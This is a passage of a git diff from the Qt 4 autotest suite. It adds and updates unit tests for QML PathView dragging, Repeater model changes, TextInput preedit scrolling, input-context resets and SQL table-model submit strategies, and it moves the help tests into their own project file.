QTEST_MAIN(tst_qdeclarativemoduleplugin) #include "tst_qdeclarativemoduleplugin.moc" diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro index 2e8aa75..98cd472 100644 --- a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro +++ b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro @@ -1,6 +1,9 @@ load(qttest_p4) -SOURCES = tst_qdeclarativemoduleplugin.cpp -QT += declarative + +HEADERS = ../shared/testhttpserver.h +SOURCES = tst_qdeclarativemoduleplugin.cpp \ + ../shared/testhttpserver.cpp +QT += declarative network CONFIG -= app_bundle symbian: { diff --git a/tests/auto/declarative/qdeclarativepathview/data/dragpath.qml b/tests/auto/declarative/qdeclarativepathview/data/dragpath.qml new file mode 100644 index 0000000..a361bdc --- /dev/null +++ b/tests/auto/declarative/qdeclarativepathview/data/dragpath.qml @@ -0,0 +1,19 @@ +import QtQuick 1.0 + +PathView { + width: 400 + height: 200 + model: 100 + pathItemCount: 20 + path: Path { + startX: 0; startY: 100 + PathLine { x: 400; y: 100 } + } + delegate: Rectangle { height: 100; width: 1; color: PathView.isCurrentItem?"red" : "black" } + dragMargin: 100 + preferredHighlightBegin: 0.5 + preferredHighlightEnd: 0.5 + Text { + text: "current index: " + parent.currentIndex + } +} diff --git a/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp b/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp index 23ae907..f39e4b9 100644 --- a/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp +++ b/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp @@ -89,6 +89,7 @@ private slots: void pathUpdate(); void visualDataModel(); void undefinedPath(); + void mouseDrag(); private: QDeclarativeView *createView(); @@ -867,6 +868,38 @@ void tst_QDeclarativePathView::undefinedPath() delete obj; } +void tst_QDeclarativePathView::mouseDrag() +{ + QDeclarativeView *canvas = createView(); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/dragpath.qml")); + canvas->show(); + QApplication::setActiveWindow(canvas); + QTest::qWaitForWindowShown(canvas); + QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas)); + + QDeclarativePathView *pathview = qobject_cast<QDeclarativePathView*>(canvas->rootObject()); + QVERIFY(pathview != 0); + + int current = pathview->currentIndex(); + + QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(10,100))); + + { + QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(30,100)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); + QApplication::sendEvent(canvas->viewport(), &mv); + } + { + QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(90,100)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); + QApplication::sendEvent(canvas->viewport(), &mv); + } + + QVERIFY(pathview->currentIndex() != current); + + QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(40,100))); + + delete canvas; +} + QDeclarativeView *tst_QDeclarativePathView::createView() { QDeclarativeView *canvas = new QDeclarativeView(0); diff --git a/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml b/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml new file mode 100644 index 0000000..0b57d50 --- /dev/null +++ b/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml @@ -0,0 +1,26 @@ +import QtQuick 1.1 + +Column { + Repeater { + id: repeater + objectName: "repeater" + + property int itemsCount + property variant itemsFound: [] + + delegate: Rectangle { + color: "red" + width: (index+1)*50 + height: 50 + } + + onModelChanged: { + repeater.itemsCount = repeater.count + var items = [] + for (var i=0; i<repeater.count; i++) + items.push(repeater.itemAt(i)) + repeater.itemsFound = items + } + } +} + diff --git a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp index 6b840a3..ba52987 100644 --- a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp +++ b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp @@ -74,6 +74,7 @@ private slots: void dataModel_changes(); void itemModel(); void resetModel(); + void modelChanged(); void properties(); void testQtQuick11Attributes(); void testQtQuick11Attributes_data(); @@ -534,7 +535,10 @@ void tst_QDeclarativeRepeater::resetModel() QVERIFY(container != 0); QCOMPARE(repeater->count(), dataA.count()); + for (int i=0; i<repeater->count(); i++) + QCOMPARE(repeater->itemAt(i), container->childItems().at(i+1)); // +1 to skip first Text object + QSignalSpy modelChangedSpy(repeater, SIGNAL(modelChanged())); QSignalSpy countSpy(repeater, SIGNAL(countChanged())); QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*))); QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*))); @@ -547,6 +551,7 @@ void tst_QDeclarativeRepeater::resetModel() ctxt->setContextProperty("testData", dataB); QCOMPARE(repeater->count(), dataB.count()); + QCOMPARE(modelChangedSpy.count(), 1); QCOMPARE(countSpy.count(), 1); QCOMPARE(removedSpy.count(), dataA.count()); QCOMPARE(addedSpy.count(), dataB.count()); @@ -554,6 +559,7 @@ void tst_QDeclarativeRepeater::resetModel() QCOMPARE(addedSpy.at(i).at(0).toInt(), i); QCOMPARE(addedSpy.at(i).at(1).value<QDeclarativeItem*>(), repeater->itemAt(i)); } + modelChangedSpy.clear(); countSpy.clear(); removedSpy.clear(); addedSpy.clear(); @@ -562,6 +568,7 @@ void tst_QDeclarativeRepeater::resetModel() repeater->setModel(dataA); QCOMPARE(repeater->count(), dataA.count()); + QCOMPARE(modelChangedSpy.count(), 1); QCOMPARE(countSpy.count(), 1); QCOMPARE(removedSpy.count(), dataB.count()); QCOMPARE(addedSpy.count(), dataA.count()); @@ -569,6 +576,32 @@ void tst_QDeclarativeRepeater::resetModel() QCOMPARE(addedSpy.at(i).at(0).toInt(), i); QCOMPARE(addedSpy.at(i).at(1).value<QDeclarativeItem*>(), repeater->itemAt(i)); } + + delete canvas; +} + +// QTBUG-17156 +void tst_QDeclarativeRepeater::modelChanged() +{ + QDeclarativeEngine engine; + QDeclarativeComponent component(&engine, TEST_FILE("/modelChanged.qml")); + + QDeclarativeItem *rootObject = qobject_cast<QDeclarativeItem*>(component.create()); + QVERIFY(rootObject); + QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(rootObject, "repeater"); + QVERIFY(repeater); + + repeater->setModel(4); + QCOMPARE(repeater->count(), 4); + QCOMPARE(repeater->property("itemsCount").toInt(), 4); + QCOMPARE(repeater->property("itemsFound").toList().count(), 4); + + repeater->setModel(10); + QCOMPARE(repeater->count(), 10); + QCOMPARE(repeater->property("itemsCount").toInt(), 10); + QCOMPARE(repeater->property("itemsFound").toList().count(), 10); + + delete rootObject; } void tst_QDeclarativeRepeater::properties() diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp index cb0f28a..a3bba3b 100644 --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp @@ -1099,26 +1099,26 @@ void tst_qdeclarativetext::lineHeight() QVERIFY(myText != 0); QVERIFY(myText->lineHeight() == 1); - QVERIFY(myText->lineHeightMode() == QDeclarativeText::MultiplyHeight); + QVERIFY(myText->lineHeightMode() == QDeclarativeText::ProportionalHeight); qreal h = myText->height(); myText->setLineHeight(1.5); QVERIFY(myText->height() == h * 1.5); - myText->setLineHeightMode(QDeclarativeText::PixelHeight); + myText->setLineHeightMode(QDeclarativeText::FixedHeight); myText->setLineHeight(20); QCOMPARE(myText->height(), myText->lineCount() * 20.0); myText->setText("Lorem ipsum sit <b>amet</b>, consectetur adipiscing elit. Integer felis nisl, varius in pretium nec, venenatis non erat. Proin lobortis interdum dictum."); - myText->setLineHeightMode(QDeclarativeText::MultiplyHeight); - myText->setLineHeight(1); + myText->setLineHeightMode(QDeclarativeText::ProportionalHeight); + myText->setLineHeight(1.0); qreal h2 = myText->height(); myText->setLineHeight(2.0); QEXPECT_FAIL("", "QTBUG-17325", Continue); QVERIFY(myText->height() == h2 * 2.0); - myText->setLineHeightMode(QDeclarativeText::PixelHeight); + myText->setLineHeightMode(QDeclarativeText::FixedHeight); myText->setLineHeight(10); QEXPECT_FAIL("", "QTBUG-17325", Continue); QCOMPARE(myText->height(), myText->lineCount() * 10.0); @@ -1191,7 +1191,7 @@ void tst_qdeclarativetext::testQtQuick11Attributes_data() << "QDeclarativeComponent: Component is not ready" << ":1 \"Text.lineHeight\" is not available in QtQuick 1.0.\n"; - QTest::newRow("lineHeightMode") << "lineHeightMode: Text.MultiplyHeight" + QTest::newRow("lineHeightMode") << "lineHeightMode: Text.ProportionalHeight" << "QDeclarativeComponent: Component is not ready" << ":1 \"Text.lineHeightMode\" is not available in QtQuick 1.0.\n"; diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index 42a0659..a6d30a5 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -124,6 +124,8 @@ private slots: void testQtQuick11Attributes(); void testQtQuick11Attributes_data(); + void preeditAutoScroll(); + private: void simulateKey(QDeclarativeView *, int key); QDeclarativeView *createView(const QString &filename); @@ -1435,6 +1437,17 @@ public: closeInputPanelReceived = true; return QInputContext::filterEvent(event); } + + void sendPreeditText(const QString &text, int cursor) + { + QList<QInputMethodEvent::Attribute> attributes; + attributes.append(QInputMethodEvent::Attribute( + QInputMethodEvent::Cursor, cursor, text.length(), QVariant())); + + QInputMethodEvent event(text, attributes); + sendEvent(event); + } + bool openInputPanelReceived; bool closeInputPanelReceived; }; @@ -1724,6 +1737,69 @@ void tst_qdeclarativetextinput::testQtQuick11Attributes_data() << ""; } +void tst_qdeclarativetextinput::preeditAutoScroll() +{ + QString committedText = "super"; + QString preeditText = "califragisiticexpialidocious!"; + + QGraphicsScene scene; + QGraphicsView view(&scene); + MyInputContext ic; + view.setInputContext(&ic); + QDeclarativeTextInput input; + input.setWidth(QFontMetricsF(input.font()).width(committedText)); + input.setText(committedText); + input.setPos(0, 0); + input.setFocus(true); + scene.addItem(&input); + view.show(); + QApplication::setActiveWindow(&view); + QTest::qWaitForWindowShown(&view); + QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view)); + + // test the text is scrolled so the preedit is visible. + ic.sendPreeditText(preeditText.mid(0, 3), 1); + QVERIFY(input.positionAt(0) != 0); + QCOMPARE(input.positionAt(input.width()), 8); + + // test the text is scrolled back when the preedit is removed. + ic.sendEvent(QInputMethodEvent()); + QCOMPARE(input.positionAt(0), 0); + QCOMPARE(input.positionAt(input.width()), 5); + + // test if the preedit is larger than the text input that the + // character preceding the cursor is still visible. + for (int i = 0; i < 3; ++i) { + ic.sendPreeditText(preeditText, i + 1); + QCOMPARE(input.positionAt(0), 5 + i); + } + for (int i = 1; i >= 0; --i) { + ic.sendPreeditText(preeditText, i + 1); + QCOMPARE(input.positionAt(0), 5 + i); + } + + // Test incrementing the preedit cursor doesn't cause further + // scrolling when right most text is visible. + ic.sendPreeditText(preeditText, preeditText.length() - 3); + int position = input.positionAt(0); + for (int i = 2; i >= 0; --i) { + ic.sendPreeditText(preeditText, preeditText.length() - i); + QCOMPARE(input.positionAt(0), position); + } + for (int i = 1; i < 3; ++i) { + ic.sendPreeditText(preeditText, preeditText.length() - i); + QCOMPARE(input.positionAt(0), position); + } + + // Test disabling auto scroll. + ic.sendEvent(QInputMethodEvent()); + + input.setAutoScroll(false); + ic.sendPreeditText(preeditText.mid(0, 3), 1); + QCOMPARE(input.positionAt(0), 0); + QCOMPARE(input.positionAt(input.width()), 5); +} + QTEST_MAIN(tst_qdeclarativetextinput) #include "tst_qdeclarativetextinput.moc" diff --git a/tests/auto/gui.pro b/tests/auto/gui.pro index f74da54..6679ee3 100644 --- a/tests/auto/gui.pro +++ b/tests/auto/gui.pro @@ -81,11 +81,6 @@ SUBDIRS=\ qgroupbox \ qguivariant \ qheaderview \ - qhelpcontentmodel \ - qhelpenginecore \ - qhelpgenerator \ - qhelpindexmodel \ - qhelpprojectdata \ qicoimageformat \ qicon \ qimageiohandler \ @@ -223,10 +218,5 @@ win32:SUBDIRS -= qtextpiecetable qtextpiecetable \ symbian:SUBDIRS -= \ - qhelpcontentmodel \ - qhelpenginecore \ - qhelpgenerator \ - qhelpindexmodel \ - qhelpprojectdata \ qsystemtrayicon \ diff --git a/tests/auto/help.pro b/tests/auto/help.pro new file mode 100644 index 0000000..e6ee552 --- /dev/null +++ b/tests/auto/help.pro @@ -0,0 +1,8 @@ +TEMPLATE=subdirs +SUBDIRS=\ + qhelpcontentmodel \ + qhelpenginecore \ + qhelpgenerator \ + qhelpindexmodel \ + qhelpprojectdata \ + diff --git a/tests/auto/networkselftest/networkselftest.pro b/tests/auto/networkselftest/networkselftest.pro index 98e981c..2742fcb 100644 --- a/tests/auto/networkselftest/networkselftest.pro +++ b/tests/auto/networkselftest/networkselftest.pro @@ -12,6 +12,7 @@ wince*: { addFiles.files = rfc3252.txt addFiles.path = . DEPLOYMENT += addFiles + TARGET.CAPABILITY = NetworkServices ReadUserData } else:vxworks*: { DEFINES += SRCDIR=\\\"\\\" } else { diff --git a/tests/auto/qdbusperformance/tst_qdbusperformance.cpp b/tests/auto/qdbusperformance/tst_qdbusperformance.cpp index 42db697..a5b4b98 100644 --- a/tests/auto/qdbusperformance/tst_qdbusperformance.cpp +++ b/tests/auto/qdbusperformance/tst_qdbusperformance.cpp @@ -125,7 +125,7 @@ void tst_QDBusPerformance::init() void tst_QDBusPerformance::callSpeed() { - QTime timer; + QElapsedTimer timer; int callCount = 0; timer.start(); @@ -141,7 +141,7 @@ void tst_QDBusPerformance::callSpeed() bool tst_QDBusPerformance::executeTest(const char *funcname, int size, const QVariant &data) { - QTime timer; + QElapsedTimer timer; int callCount = 0; qint64 transferred = 0; diff --git a/tests/auto/qgraphicsscene/tst_qgraphicsscene.cpp b/tests/auto/qgraphicsscene/tst_qgraphicsscene.cpp index b221cd9..d446ca7 100644 --- a/tests/auto/qgraphicsscene/tst_qgraphicsscene.cpp +++ b/tests/auto/qgraphicsscene/tst_qgraphicsscene.cpp @@ -3838,6 +3838,23 @@ public: mutable int queryCalls; }; +class TestInputContext : public QInputContext +{ +public: + TestInputContext() {} + + QString identifierName() { return QString(); } + QString language() { return QString(); } + + void reset() { + ++resetCalls; + sendEvent(QInputMethodEvent()); } + + bool isComposing() const { return false; } + + int resetCalls; +}; + void tst_QGraphicsScene::inputMethod() { QFETCH(int, flags); @@ -3847,14 +3864,22 @@ void tst_QGraphicsScene::inputMethod() item->setFlags((QGraphicsItem::GraphicsItemFlags)flags); QGraphicsScene scene; - QEvent activate(QEvent::WindowActivate); - QApplication::sendEvent(&scene, &activate); + QGraphicsView view(&scene); + TestInputContext inputContext; + view.setInputContext(&inputContext); + view.show(); + QApplication::setActiveWindow(&view); + view.setFocus(); + QTest::qWaitForWindowShown(&view); + QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view)); + inputContext.resetCalls = 0; scene.addItem(item); QInputMethodEvent event; scene.setFocusItem(item); QCOMPARE(!!(item->flags() & QGraphicsItem::ItemIsFocusable), scene.focusItem() == item); + QCOMPARE(inputContext.resetCalls, 0); item->eventCalls = 0; qApp->sendEvent(&scene, &event); @@ -3865,6 +3890,9 @@ void tst_QGraphicsScene::inputMethod() QCOMPARE(item->queryCalls, callFocusItem ? 1 : 0); scene.setFocusItem(0); + // the input context is reset twice, once because an item has lost focus and again because + // the Qt::WA_InputMethodEnabled flag is cleared because no item has focus. + QCOMPARE(inputContext.resetCalls, callFocusItem ? 2 : 0); QCOMPARE(item->eventCalls, callFocusItem ? 2 : 0); // verify correct delivery of "reset" event QCOMPARE(item->queryCalls, callFocusItem ? 1 : 0); // verify that value is unaffected diff --git a/tests/auto/qgraphicsview/tst_qgraphicsview.cpp b/tests/auto/qgraphicsview/tst_qgraphicsview.cpp index f8fc5d0..ca6b4d2 100644 --- a/tests/auto/qgraphicsview/tst_qgraphicsview.cpp +++ b/tests/auto/qgraphicsview/tst_qgraphicsview.cpp @@ -4146,11 +4146,14 @@ void tst_QGraphicsView::inputContextReset() inputContext.resets = 0; scene.setFocusItem(0); - QCOMPARE(inputContext.resets, 1); + // the input context is reset twice, once because an item has lost focus and again because + // the Qt::WA_InputMethodEnabled flag is cleared because no item has focus. + QCOMPARE(inputContext.resets, 2); // introduce another item that is focusable but does not accept input methods QGraphicsItem *item2 = new QGraphicsRectItem; - item1->setFlags(QGraphicsItem::ItemIsFocusable); + item2->setFlags(QGraphicsItem::ItemIsFocusable); + scene.addItem(item2); inputContext.resets = 0; scene.setFocusItem(item2); @@ -4159,6 +4162,11 @@ void tst_QGraphicsView::inputContextReset() inputContext.resets = 0; scene.setFocusItem(item1); QCOMPARE(inputContext.resets, 0); + + // test changing between between items that accept input methods. + item2->setFlags(QGraphicsItem::ItemIsFocusable | QGraphicsItem::ItemAcceptsInputMethod); + scene.setFocusItem(item2); + QCOMPARE(inputContext.resets, 1); } void tst_QGraphicsView::indirectPainting() diff --git a/tests/auto/qnetworksession/test/tst_qnetworksession.cpp b/tests/auto/qnetworksession/test/tst_qnetworksession.cpp index 37fc9cd..3315836 100644 --- a/tests/auto/qnetworksession/test/tst_qnetworksession.cpp +++ b/tests/auto/qnetworksession/test/tst_qnetworksession.cpp @@ -60,8 +60,6 @@ QT_USE_NAMESPACE Q_DECLARE_METATYPE(QNetworkConfiguration) Q_DECLARE_METATYPE(QNetworkConfiguration::Type); -Q_DECLARE_METATYPE(QNetworkSession::State); -Q_DECLARE_METATYPE(QNetworkSession::SessionError); class tst_QNetworkSession : public QObject { @@ -126,8 +124,6 @@ QNetworkConfiguration suitableConfiguration(QString bearerType, QNetworkConfigur void tst_QNetworkSession::initTestCase() { - qRegisterMetaType<QNetworkSession::State>("QNetworkSession::State"); - qRegisterMetaType<QNetworkSession::SessionError>("QNetworkSession::SessionError"); qRegisterMetaType<QNetworkConfiguration>("QNetworkConfiguration"); qRegisterMetaType<QNetworkConfiguration::Type>("QNetworkConfiguration::Type"); diff --git a/tests/auto/qprocess/tst_qprocess.cpp b/tests/auto/qprocess/tst_qprocess.cpp index b697431..2a8874e 100644 --- a/tests/auto/qprocess/tst_qprocess.cpp +++ b/tests/auto/qprocess/tst_qprocess.cpp @@ -249,6 +249,8 @@ void tst_QProcess::constructing() char c; QCOMPARE(process.read(&c, 1), qlonglong(-1)); QCOMPARE(process.write(&c, 1), qlonglong(-1)); + + QProcess proc2; } void tst_QProcess::simpleStart() @@ -265,7 +267,7 @@ void tst_QProcess::simpleStart() process->start("testProcessNormal/testProcessNormal"); if (process->state() != QProcess::Starting) QCOMPARE(process->state(), QProcess::Running); - QVERIFY(process->waitForStarted(5000)); + QVERIFY2(process->waitForStarted(5000), qPrintable(process->errorString())); QCOMPARE(process->state(), QProcess::Running); #if defined(Q_OS_WINCE) // Note: This actually seems incorrect, it will only exit the while loop when finishing fails @@ -277,7 +279,7 @@ void tst_QProcess::simpleStart() while (process->waitForReadyRead(5000)) { } #endif - QCOMPARE(process->state(), QProcess::NotRunning); + QCOMPARE(int(process->state()), int(QProcess::NotRunning)); delete process; process = 0; diff --git a/tests/auto/qscriptcontext/tst_qscriptcontext.cpp b/tests/auto/qscriptcontext/tst_qscriptcontext.cpp index 1332a22..9d7e896 100644 --- a/tests/auto/qscriptcontext/tst_qscriptcontext.cpp +++ b/tests/auto/qscriptcontext/tst_qscriptcontext.cpp @@ -924,6 +924,50 @@ void tst_QScriptContext::backtrace_data() QTest::newRow("js recursive") << source << expected; } + + { + QString source = QString::fromLatin1( + "[0].forEach(\n" + " function() {\n" + " result = bt();\n" + "}); result"); + + QStringList expected; + expected << "<native>() at -1" + << "<anonymous>(0, 0, 0) at testfile:3" + << QString::fromLatin1("forEach(%0) at -1") + // Because the JIT doesn't store the arguments in the frame + // for built-in functions, arguments are not available. + // Will work when the copy of JavaScriptCore is updated + // (QTBUG-16568). + .arg(qt_script_isJITEnabled() + ? "" + : "function () {\n result = bt();\n}") + << "<global>() at testfile:4"; + QTest::newRow("js callback from built-in") << source << expected; + } + + { + QString source = QString::fromLatin1( + "[10,20].forEach(\n" + " function() {\n" + " result = bt();\n" + "}); result"); + + QStringList expected; + expected << "<native>() at -1" + << "<anonymous>(20, 1, 10,20) at testfile:3" + << QString::fromLatin1("forEach(%0) at -1") + // Because the JIT doesn't store the arguments in the frame + // for built-in functions, arguments are not available. + // Will work when the copy of JavaScriptCore is updated + // (QTBUG-16568). + .arg(qt_script_isJITEnabled() + ? "" + : "function () {\n result = bt();\n}") + << "<global>() at testfile:4"; + QTest::newRow("js callback from built-in") << source << expected; + } } diff --git a/tests/auto/qscriptengine/tst_qscriptengine.cpp b/tests/auto/qscriptengine/tst_qscriptengine.cpp index b609d8c..589b3b1 100644 --- a/tests/auto/qscriptengine/tst_qscriptengine.cpp +++ b/tests/auto/qscriptengine/tst_qscriptengine.cpp @@ -225,6 +225,7 @@ private slots: void translateScriptUnicode(); void translateScriptUnicodeIdBased_data(); void translateScriptUnicodeIdBased(); + void translateFromBuiltinCallback(); void functionScopes(); void nativeFunctionScopes(); void evaluateProgram(); @@ -5309,6 +5310,21 @@ void tst_QScriptEngine::translateScriptUnicodeIdBased() QVERIFY(!engine.hasUncaughtException()); } +void tst_QScriptEngine::translateFromBuiltinCallback() +{ + QScriptEngine eng; + eng.installTranslatorFunctions(); + + // Callback has no translation context. + eng.evaluate("function foo() { qsTr('foo'); }"); + + // Stack at translation time will be: + // qsTr, foo, forEach, global + // qsTr() needs to walk to the outer-most (global) frame before it finds + // a translation context, and this should not crash. + eng.evaluate("[10,20].forEach(foo)", "script.js"); +} + void tst_QScriptEngine::functionScopes() { QScriptEngine eng; diff --git a/tests/auto/qset/tst_qset.cpp b/tests/auto/qset/tst_qset.cpp index ae293db..c28b683 100644 --- a/tests/auto/qset/tst_qset.cpp +++ b/tests/auto/qset/tst_qset.cpp @@ -39,6 +39,7 @@ ** ****************************************************************************/ +//#define QT_STRICT_ITERATORS #include <QtTest/QtTest> #include <qset.h> @@ -826,6 +827,16 @@ void tst_QSet::javaMutableIterator() int sum = 0; QMutableSetIterator<QString> i(set1); while (i.hasNext()) { + i.next(); + sum += toNumber(i.value()); + } + QVERIFY(sum == 24999 * 25000 / 2); + } + + { + int sum = 0; + QMutableSetIterator<QString> i(set1); + while (i.hasNext()) { sum += toNumber(i.peekNext()); i.next(); } diff --git a/tests/auto/qsqldatabase/tst_databases.h b/tests/auto/qsqldatabase/tst_databases.h index 5dcf754..350e0d0 100644 --- a/tests/auto/qsqldatabase/tst_databases.h +++ b/tests/auto/qsqldatabase/tst_databases.h @@ -51,6 +51,7 @@ #include <QDir> #include <QVariant> #include <QDebug> +#include <QSqlTableModel> #include <QtTest/QtTest> @@ -166,6 +167,29 @@ public: return count; } + int fillTestTableWithStrategies( const QString& driverPrefix = QString() ) const + { + QTest::addColumn<QString>( "dbName" ); + QTest::addColumn<int>("submitpolicy_i"); + int count = 0; + + for ( int i = 0; i < dbNames.count(); ++i ) { + QSqlDatabase db = QSqlDatabase::database( dbNames.at( i ) ); + + if ( !db.isValid() ) + continue; + + if ( driverPrefix.isEmpty() || db.driverName().startsWith( driverPrefix ) ) { + QTest::newRow( QString("%1 [field]").arg(dbNames.at( i )).toLatin1() ) << dbNames.at( i ) << (int)QSqlTableModel::OnFieldChange; + QTest::newRow( QString("%1 [row]").arg(dbNames.at( i )).toLatin1() ) << dbNames.at( i ) << (int)QSqlTableModel::OnRowChange; + QTest::newRow( QString("%1 [manual]").arg(dbNames.at( i )).toLatin1() ) << dbNames.at( i ) << (int)QSqlTableModel::OnManualSubmit; + ++count; + } + } + + return count; + } + void addDb( const QString& driver, const QString& dbName, const QString& user = QString(), const QString& passwd = QString(), const QString& host = QString(), int port = -1, const QString params = QString() ) diff --git a/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp b/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp index 0ca1417..e876764 100644 --- a/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp +++ b/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp @@ -318,6 +318,11 @@ void tst_QSqlQueryModel::insertColumn() model.setQuery(QSqlQuery("select * from " + qTableName("test", __FILE__), db)); model.fetchMore(); // necessary??? + bool isToUpper = db.driverName().startsWith("QIBASE") || db.driverName().startsWith("QOCI") || db.driverName().startsWith("QDB2"); + const QString idColumn(isToUpper ? "ID" : "id"); + const QString nameColumn(isToUpper ? "NAME" : "name"); + const QString titleColumn(isToUpper ? "TITLE" : "title"); + QSignalSpy spy(&model, SIGNAL(columnsInserted(QModelIndex, int, int))); QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); @@ -325,6 +330,11 @@ void tst_QSqlQueryModel::insertColumn() QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); QCOMPARE(model.data(model.index(0, 3)), QVariant()); + QCOMPARE(model.headerData(0, Qt::Horizontal).toString(), idColumn); + QCOMPARE(model.headerData(1, Qt::Horizontal).toString(), nameColumn); + QCOMPARE(model.headerData(2, Qt::Horizontal).toString(), titleColumn); + QCOMPARE(model.headerData(3, Qt::Horizontal).toString(), QString("4")); + QVERIFY(model.insertColumn(1)); QCOMPARE(spy.count(), 1); @@ -344,6 +354,12 @@ void tst_QSqlQueryModel::insertColumn() QCOMPARE(model.data(model.index(0, 3)).toInt(), 1); QCOMPARE(model.data(model.index(0, 4)), QVariant()); + QCOMPARE(model.headerData(0, Qt::Horizontal).toString(), idColumn); + QCOMPARE(model.headerData(1, Qt::Horizontal).toString(), QString("2")); + QCOMPARE(model.headerData(2, Qt::Horizontal).toString(), nameColumn); + QCOMPARE(model.headerData(3, Qt::Horizontal).toString(), titleColumn); + QCOMPARE(model.headerData(4, Qt::Horizontal).toString(), QString("5")); + QVERIFY(!model.insertColumn(-1)); QVERIFY(!model.insertColumn(100)); QVERIFY(!model.insertColumn(1, model.index(1, 1))); @@ -378,14 +394,21 @@ void tst_QSqlQueryModel::insertColumn() QCOMPARE(model.indexInQuery(model.index(0, 5)).column(), -1); QCOMPARE(model.indexInQuery(model.index(0, 6)).column(), -1); - bool isToUpper = db.driverName().startsWith("QIBASE") || db.driverName().startsWith("QOCI") || db.driverName().startsWith("QDB2"); QCOMPARE(model.record().field(0).name(), QString()); - QCOMPARE(model.record().field(1).name(), isToUpper ? QString("ID") : QString("id")); + QCOMPARE(model.record().field(1).name(), idColumn); QCOMPARE(model.record().field(2).name(), QString()); - QCOMPARE(model.record().field(3).name(), isToUpper ? QString("NAME") : QString("name")); - QCOMPARE(model.record().field(4).name(), isToUpper ? QString("TITLE") : QString("title")); + QCOMPARE(model.record().field(3).name(), nameColumn); + QCOMPARE(model.record().field(4).name(), titleColumn); QCOMPARE(model.record().field(5).name(), QString()); QCOMPARE(model.record().field(6).name(), QString()); + + QCOMPARE(model.headerData(0, Qt::Horizontal).toString(), QString("1")); + QCOMPARE(model.headerData(1, Qt::Horizontal).toString(), idColumn); + QCOMPARE(model.headerData(2, Qt::Horizontal).toString(), QString("3")); + QCOMPARE(model.headerData(3, Qt::Horizontal).toString(), nameColumn); + QCOMPARE(model.headerData(4, Qt::Horizontal).toString(), titleColumn); + QCOMPARE(model.headerData(5, Qt::Horizontal).toString(), QString("6")); + QCOMPARE(model.headerData(6, Qt::Horizontal).toString(), QString("7")); } void tst_QSqlQueryModel::record() diff --git a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp index f9fcaf0..f7d2180 100644 --- a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp +++ b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp @@ -78,11 +78,13 @@ private slots: void select_data() { generic_data(); } void select(); + void insertColumns_data() { generic_data_with_strategies(); } + void insertColumns(); void submitAll_data() { generic_data(); } void submitAll(); void setRecord_data() { generic_data(); } void setRecord(); - void insertRow_data() { generic_data(); } + void insertRow_data() { generic_data_with_strategies(); } void insertRow(); void insertRecord_data() { generic_data(); } void insertRecord(); @@ -92,8 +94,10 @@ private slots: void removeRow(); void removeRows_data() { generic_data(); } void removeRows(); - void removeInsertedRow_data() { generic_data(); } + void removeInsertedRow_data() { generic_data_with_strategies(); } void removeInsertedRow(); + void removeInsertedRows_data() { generic_data(); } + void removeInsertedRows(); void setFilter_data() { generic_data(); } void setFilter(); void setInvalidFilter_data() { generic_data(); } @@ -130,6 +134,7 @@ private slots: void insertBeforeDelete(); private: void generic_data(const QString& engine=QString()); + void generic_data_with_strategies(const QString& engine=QString()); }; tst_QSqlTableModel::tst_QSqlTableModel() @@ -227,7 +232,17 @@ void tst_QSqlTableModel::recreateTestTables() void tst_QSqlTableModel::generic_data(const QString &engine) { if ( dbs.fillTestTable(engine) == 0 ) { - if(engine.isEmpty()) + if (engine.isEmpty()) + QSKIP( "No database drivers are available in this Qt configuration", SkipAll ); + else + QSKIP( (QString("No database drivers of type %1 are available in this Qt 